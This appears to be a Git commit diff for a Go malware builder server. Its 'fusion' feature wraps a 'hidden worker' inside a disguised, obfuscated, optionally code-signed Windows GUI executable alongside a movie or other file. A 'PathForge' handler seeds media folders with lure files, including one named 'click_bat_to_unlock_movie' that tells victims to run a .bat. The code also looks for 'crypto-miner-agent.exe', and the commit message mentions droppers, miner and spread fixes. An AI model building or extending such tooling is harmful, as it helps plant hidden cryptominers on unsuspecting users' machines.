fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -63,6 +63,11 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
|
||||
for _, p := range platforms {
|
||||
src := workers[p.Label()]
|
||||
if h.shouldSignBuild(req) {
|
||||
if err := h.signExecutable(src); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
@@ -86,6 +91,9 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||
}
|
||||
|
||||
primary := workers[platforms[0].Label()]
|
||||
if w, ok := workers["windows-amd64"]; ok {
|
||||
@@ -155,6 +163,11 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if h.shouldSignBuild(req) {
|
||||
if err := h.signExecutable(res.LauncherPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
fusionResults = append(fusionResults, res)
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
@@ -186,14 +199,14 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||
|
||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||
readme := fusionReadmeInfo{
|
||||
Title: titleBase,
|
||||
RunnerName: titleBase + "-runner",
|
||||
RunnerName: windowsRunnerName,
|
||||
MediaName: payloadBase,
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: mode,
|
||||
}
|
||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||
@@ -211,6 +224,9 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||
}
|
||||
|
||||
if primaryPath == "" && len(fusionResults) > 0 {
|
||||
primaryPath = fusionResults[0].LauncherPath
|
||||
|
||||
@@ -55,24 +55,20 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
workerBytes := h.estimateWorkerBytes()
|
||||
stubBytes := defaultFusionStubBytes
|
||||
var total int64
|
||||
switch kind {
|
||||
case "video":
|
||||
if mode == "embedded" {
|
||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
} else {
|
||||
total = workerBytes + stubBytes + resourcePatchOverhead
|
||||
}
|
||||
default:
|
||||
if mode == "embedded" {
|
||||
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
} else {
|
||||
// paired: payload ships beside the runner, not inside the .exe
|
||||
total = workerBytes + stubBytes + resourcePatchOverhead
|
||||
}
|
||||
|
||||
root := h.projectRoot
|
||||
if root == "" || root == "." {
|
||||
root, _ = filepath.Abs(".")
|
||||
}
|
||||
label := prepName
|
||||
if kind != "video" {
|
||||
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
||||
label := strings.TrimSuffix(outputName, filepath.Ext(outputName))
|
||||
if label == "" {
|
||||
label = prepName
|
||||
}
|
||||
sub := fusionExportSubdir(req, label)
|
||||
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
|
||||
@@ -90,27 +86,25 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
Obfuscate: h.shouldObfuscate(req),
|
||||
SignBuild: req.SignBuild,
|
||||
Notes: []string{
|
||||
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
|
||||
fmt.Sprintf("Payload: %s [%s] (%s)", prepName, kind, formatBytes(prepSize)),
|
||||
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
|
||||
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
|
||||
},
|
||||
}
|
||||
|
||||
if kind == "video" {
|
||||
if mode == "embedded" {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
|
||||
)
|
||||
} else {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
|
||||
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
|
||||
)
|
||||
}
|
||||
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
||||
if mode == "embedded" {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Embedded mode: one disguised .exe contains the payload + hidden worker. Best under ~500MB.",
|
||||
)
|
||||
} else {
|
||||
resp.Notes = append(resp.Notes,
|
||||
"Paired mode: runner .exe + payload file in fusion-deliverables/<title>/.",
|
||||
fmt.Sprintf("Payload file stays as %q beside the runner.", prepName),
|
||||
)
|
||||
}
|
||||
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
|
||||
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||
@@ -126,8 +120,12 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
if h.shouldObfuscate(req) && h.garblePath == "" {
|
||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
|
||||
}
|
||||
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
if req.SignBuild {
|
||||
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
} else if !h.signingToolAvailable() {
|
||||
resp.Notes = append(resp.Notes, signingToolMissingNote())
|
||||
}
|
||||
}
|
||||
|
||||
return resp
|
||||
|
||||
@@ -18,6 +18,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
FusionEnabled: true,
|
||||
FusionOutputName: "MyApp.exe",
|
||||
FusionMediaMode: "embedded",
|
||||
OutputDir: "exports",
|
||||
Obfuscate: true,
|
||||
}
|
||||
@@ -26,7 +27,7 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
|
||||
t.Fatalf("prep bytes: got %d", got.PrepBytes)
|
||||
}
|
||||
if got.EstimatedTotalBytes <= got.PrepBytes {
|
||||
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
|
||||
t.Fatalf("embedded total should exceed prep: %d", got.EstimatedTotalBytes)
|
||||
}
|
||||
if got.OutputFileName != "MyApp.exe" {
|
||||
t.Fatalf("output name: %s", got.OutputFileName)
|
||||
@@ -36,33 +37,33 @@ func TestEstimateFusionBuildTotals(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEstimateFusionBuildVideoPaired(t *testing.T) {
|
||||
func TestEstimateFusionBuildFilePaired(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
||||
req := &BuildRequest{
|
||||
FusionEnabled: true,
|
||||
FusionPayloadKind: "video",
|
||||
FusionPayloadKind: "file",
|
||||
FusionMediaMode: "paired",
|
||||
}
|
||||
got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
|
||||
if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
|
||||
t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes)
|
||||
t.Fatalf("paired file should not add full prep to total: %d", got.EstimatedTotalBytes)
|
||||
}
|
||||
if got.ExportPath == "" {
|
||||
t.Fatal("expected export path for video")
|
||||
t.Fatal("expected export path for paired file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEstimateFusionBuildVideoEmbedded(t *testing.T) {
|
||||
func TestEstimateFusionBuildFileEmbedded(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
||||
req := &BuildRequest{
|
||||
FusionEnabled: true,
|
||||
FusionPayloadKind: "video",
|
||||
FusionPayloadKind: "file",
|
||||
FusionMediaMode: "embedded",
|
||||
}
|
||||
prepSize := int64(50 * 1024 * 1024)
|
||||
got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
|
||||
if got.EstimatedTotalBytes <= prepSize {
|
||||
t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes)
|
||||
t.Fatalf("embedded file total should include prep: %d", got.EstimatedTotalBytes)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -107,11 +108,11 @@ func TestEstimateFusionBuildSignNote(t *testing.T) {
|
||||
|
||||
func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
|
||||
req := &BuildRequest{FusionEnabled: true}
|
||||
req := &BuildRequest{FusionEnabled: true, FusionMediaMode: "embedded"}
|
||||
prep := filepath.Join(t.TempDir(), "payload.exe")
|
||||
got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
|
||||
if got.EstimatedTotalBytes <= 1024 {
|
||||
t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes)
|
||||
t.Fatalf("embedded exe payload should add prep size: %d", got.EstimatedTotalBytes)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -180,6 +181,26 @@ func TestEstimateWorkerBytesFromHistory(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEstimateFusionBuildSignToolMissingNote(t *testing.T) {
|
||||
h := &Handler{
|
||||
dataDir: t.TempDir(),
|
||||
projectRoot: t.TempDir(),
|
||||
policy: BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
|
||||
}
|
||||
req := &BuildRequest{FusionEnabled: true, SignBuild: true}
|
||||
got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
|
||||
found := false
|
||||
for _, n := range got.Notes {
|
||||
if strings.Contains(strings.ToLower(n), "signtool") || strings.Contains(strings.ToLower(n), "osslsigncode") {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected signing tool missing note, got %v", got.Notes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
|
||||
h := &Handler{
|
||||
dataDir: t.TempDir(),
|
||||
|
||||
@@ -135,7 +135,8 @@ func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, wo
|
||||
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
|
||||
obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -178,7 +179,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
"go.mod", "launch_windows.go", "launch_stub.go",
|
||||
"go.mod",
|
||||
"shell_windows.go", "hidden_windows.go",
|
||||
"media_windows.go", "media_linux.go", "media_darwin.go",
|
||||
"media_crypto.go", "cache_windows.go", "cache_unix.go",
|
||||
"lock_hint_windows.go", "lock_hint_stub.go",
|
||||
@@ -282,10 +284,17 @@ func fusionExportSubdir(req *BuildRequest, mediaName string) string {
|
||||
|
||||
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
|
||||
subdir = sanitizeDirName(subdir)
|
||||
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
|
||||
if subdir == "" {
|
||||
return "", nil
|
||||
}
|
||||
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
root := h.projectRoot
|
||||
if root == "" || root == "." {
|
||||
root = h.dataDir
|
||||
}
|
||||
if root == "" {
|
||||
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
|
||||
}
|
||||
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
|
||||
}
|
||||
|
||||
@@ -199,12 +199,18 @@ func TestPublishFusionDeliverable(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestPublishFusionDeliverableNoRoot(t *testing.T) {
|
||||
h := &Handler{projectRoot: ""}
|
||||
dir, err := h.publishFusionDeliverable("x", nil, fusionReadmeInfo{})
|
||||
dataDir := t.TempDir()
|
||||
h := &Handler{projectRoot: "", dataDir: dataDir}
|
||||
src := filepath.Join(t.TempDir(), "runner.exe")
|
||||
if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
dir, err := h.publishFusionDeliverable("x", map[string]string{"runner.exe": src}, fusionReadmeInfo{Title: "x"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir != "" {
|
||||
t.Fatalf("expected empty dir when no project root, got %q", dir)
|
||||
want := filepath.Join(dataDir, FusionDeliverablesDir, "x")
|
||||
if dir != want {
|
||||
t.Fatalf("expected dataDir fallback %q, got %q", want, dir)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -277,7 +277,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
@@ -388,7 +388,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(64 << 20); err != nil {
|
||||
if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
@@ -458,7 +458,11 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath)))
|
||||
dlName := strings.TrimSpace(build.FileName)
|
||||
if dlName == "" {
|
||||
dlName = filepath.Base(build.FilePath)
|
||||
}
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
|
||||
http.ServeFile(w, r, build.FilePath)
|
||||
}
|
||||
|
||||
@@ -695,12 +699,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if h.policy.MaxBuildSizeMB > 0 {
|
||||
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
|
||||
if fileInfo.Size() > maxBytes {
|
||||
_ = os.RemoveAll(buildDir)
|
||||
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
|
||||
}
|
||||
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
|
||||
_ = os.RemoveAll(buildDir)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(finalPath)
|
||||
|
||||
@@ -110,6 +110,37 @@ func TestServeEstimateFusionDisabled(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadBuildUsesFileNameDisposition(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
dataDir := t.TempDir()
|
||||
artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := &Handler{db: database, dataDir: dataDir}
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", "bid-2")
|
||||
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
|
||||
rec := httptest.NewRecorder()
|
||||
h.DownloadBuild(rec, req)
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") {
|
||||
t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadBuildSuccess(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
|
||||
@@ -1,7 +1,34 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
|
||||
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
|
||||
|
||||
// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
|
||||
const FusionDeliverablesDir = "fusion-deliverables"
|
||||
|
||||
// multipartMaxMemory is the ParseMultipartForm budget; must cover fusion prep uploads.
|
||||
const multipartMaxMemory = FusionMaxUploadBytes + 32<<20 // 2 GiB + 32 MiB headroom
|
||||
|
||||
func (h *Handler) checkBuildSize(bytes int64) error {
|
||||
if h.policy.MaxBuildSizeMB <= 0 {
|
||||
return nil
|
||||
}
|
||||
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
|
||||
if bytes > maxBytes {
|
||||
return fmt.Errorf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) checkBuildSizeFile(path string) error {
|
||||
st, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return h.checkBuildSize(st.Size())
|
||||
}
|
||||
|
||||
@@ -1,6 +1,37 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCheckBuildSizeEnforced(t *testing.T) {
|
||||
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
|
||||
if err := h.checkBuildSize(2 * 1024 * 1024); err == nil {
|
||||
t.Fatal("expected oversize error")
|
||||
}
|
||||
if err := h.checkBuildSize(512 * 1024); err != nil {
|
||||
t.Fatalf("expected within limit: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckBuildSizeFile(t *testing.T) {
|
||||
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
|
||||
path := filepath.Join(t.TempDir(), "big.zip")
|
||||
if err := os.WriteFile(path, make([]byte, 2*1024*1024), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := h.checkBuildSizeFile(path); err == nil {
|
||||
t.Fatal("expected file size check failure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMultipartMaxMemoryCoversFusionUpload(t *testing.T) {
|
||||
if multipartMaxMemory <= FusionMaxUploadBytes {
|
||||
t.Fatalf("multipartMaxMemory %d must exceed FusionMaxUploadBytes %d", multipartMaxMemory, FusionMaxUploadBytes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFusionConstants(t *testing.T) {
|
||||
if FusionMaxUploadBytes != 2<<30 {
|
||||
|
||||
@@ -78,6 +78,10 @@ func NewPathForgeHandler(dataDir string) *PathForgeHandler {
|
||||
}
|
||||
|
||||
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
var req PathForgeRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
|
||||
@@ -94,14 +98,26 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if req.StemMode == "" {
|
||||
req.StemMode = "original"
|
||||
}
|
||||
if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
|
||||
http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Locate the Windows agent binary.
|
||||
agentExe := findAgentBinary()
|
||||
agentExe := findAgentBinary(h.dataDir)
|
||||
if req.TargetWindows && agentExe == "" {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(&PathForgeResult{
|
||||
Success: false,
|
||||
ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Build the extension set.
|
||||
extSet := buildExtSet(req.Extensions)
|
||||
|
||||
res := &PathForgeResult{Success: true}
|
||||
res := &PathForgeResult{}
|
||||
|
||||
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || d.IsDir() {
|
||||
@@ -109,6 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(d.Name()))
|
||||
if _, ok := extSet[ext]; !ok {
|
||||
res.Skipped++
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -162,11 +179,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
// No extension so it appears as a generic document icon on all platforms.
|
||||
hintName := "click_bat_to_unlock_movie"
|
||||
hintDst := filepath.Join(dir, hintName)
|
||||
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
|
||||
_ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
|
||||
placed = append(placed, hintName)
|
||||
|
||||
if len(placed) > 0 {
|
||||
res.Placed += len(placed)
|
||||
mediaPlaced := len(placed) - 1 // exclude hint file from placement count
|
||||
if mediaPlaced > 0 {
|
||||
res.Placed += mediaPlaced
|
||||
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
||||
} else {
|
||||
res.Errors++
|
||||
@@ -179,6 +197,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("[pathforge] walk error: %v", err)
|
||||
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
|
||||
}
|
||||
res.Success = res.Errors == 0
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(res)
|
||||
@@ -205,9 +224,15 @@ func sanitizeStem(s string) string {
|
||||
|
||||
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
|
||||
// The filename itself is the instruction; the content gives a second nudge.
|
||||
func hintContent(batStem string) string {
|
||||
func hintContent(stem string, macOnly bool) string {
|
||||
if macOnly {
|
||||
return "This folder contains an encrypted media file.\n" +
|
||||
"To play it, double-click " + stem + ".command\n" +
|
||||
"\n" +
|
||||
"The launcher unlocks and opens the video automatically.\n"
|
||||
}
|
||||
return "This folder contains an encrypted media file.\n" +
|
||||
"To play it, double-click " + batStem + ".bat\n" +
|
||||
"To play it, double-click " + stem + ".bat\n" +
|
||||
"\n" +
|
||||
"The .bat file unlocks and opens the video automatically.\n"
|
||||
}
|
||||
@@ -270,8 +295,8 @@ func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) strin
|
||||
return s
|
||||
}
|
||||
|
||||
// findAgentBinary looks next to the server executable for the agent binary.
|
||||
func findAgentBinary() string {
|
||||
// findAgentBinary looks next to the server executable and dataDir for the agent binary.
|
||||
func findAgentBinary(dataDir string) string {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return ""
|
||||
@@ -281,6 +306,12 @@ func findAgentBinary() string {
|
||||
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dir, "crypto-miner-agent.exe"),
|
||||
}
|
||||
if dataDir != "" {
|
||||
candidates = append(candidates,
|
||||
filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
|
||||
filepath.Join(dataDir, "crypto-miner-agent.exe"),
|
||||
)
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if _, err := os.Stat(c); err == nil {
|
||||
return c
|
||||
|
||||
73
server/internal/builder/pathforge_test.go
Normal file
73
server/internal/builder/pathforge_test.go
Normal file
@@ -0,0 +1,73 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
mediaDir := filepath.Join(root, "movies")
|
||||
if err := os.MkdirAll(mediaDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
// Satisfy Windows target requirement.
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentDir := filepath.Join(filepath.Dir(exe), "agent")
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
|
||||
if runtime.GOOS == "windows" {
|
||||
if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
} else {
|
||||
// Non-Windows: mac-only path avoids agent exe requirement.
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
|
||||
if runtime.GOOS != "windows" {
|
||||
body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
|
||||
}
|
||||
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
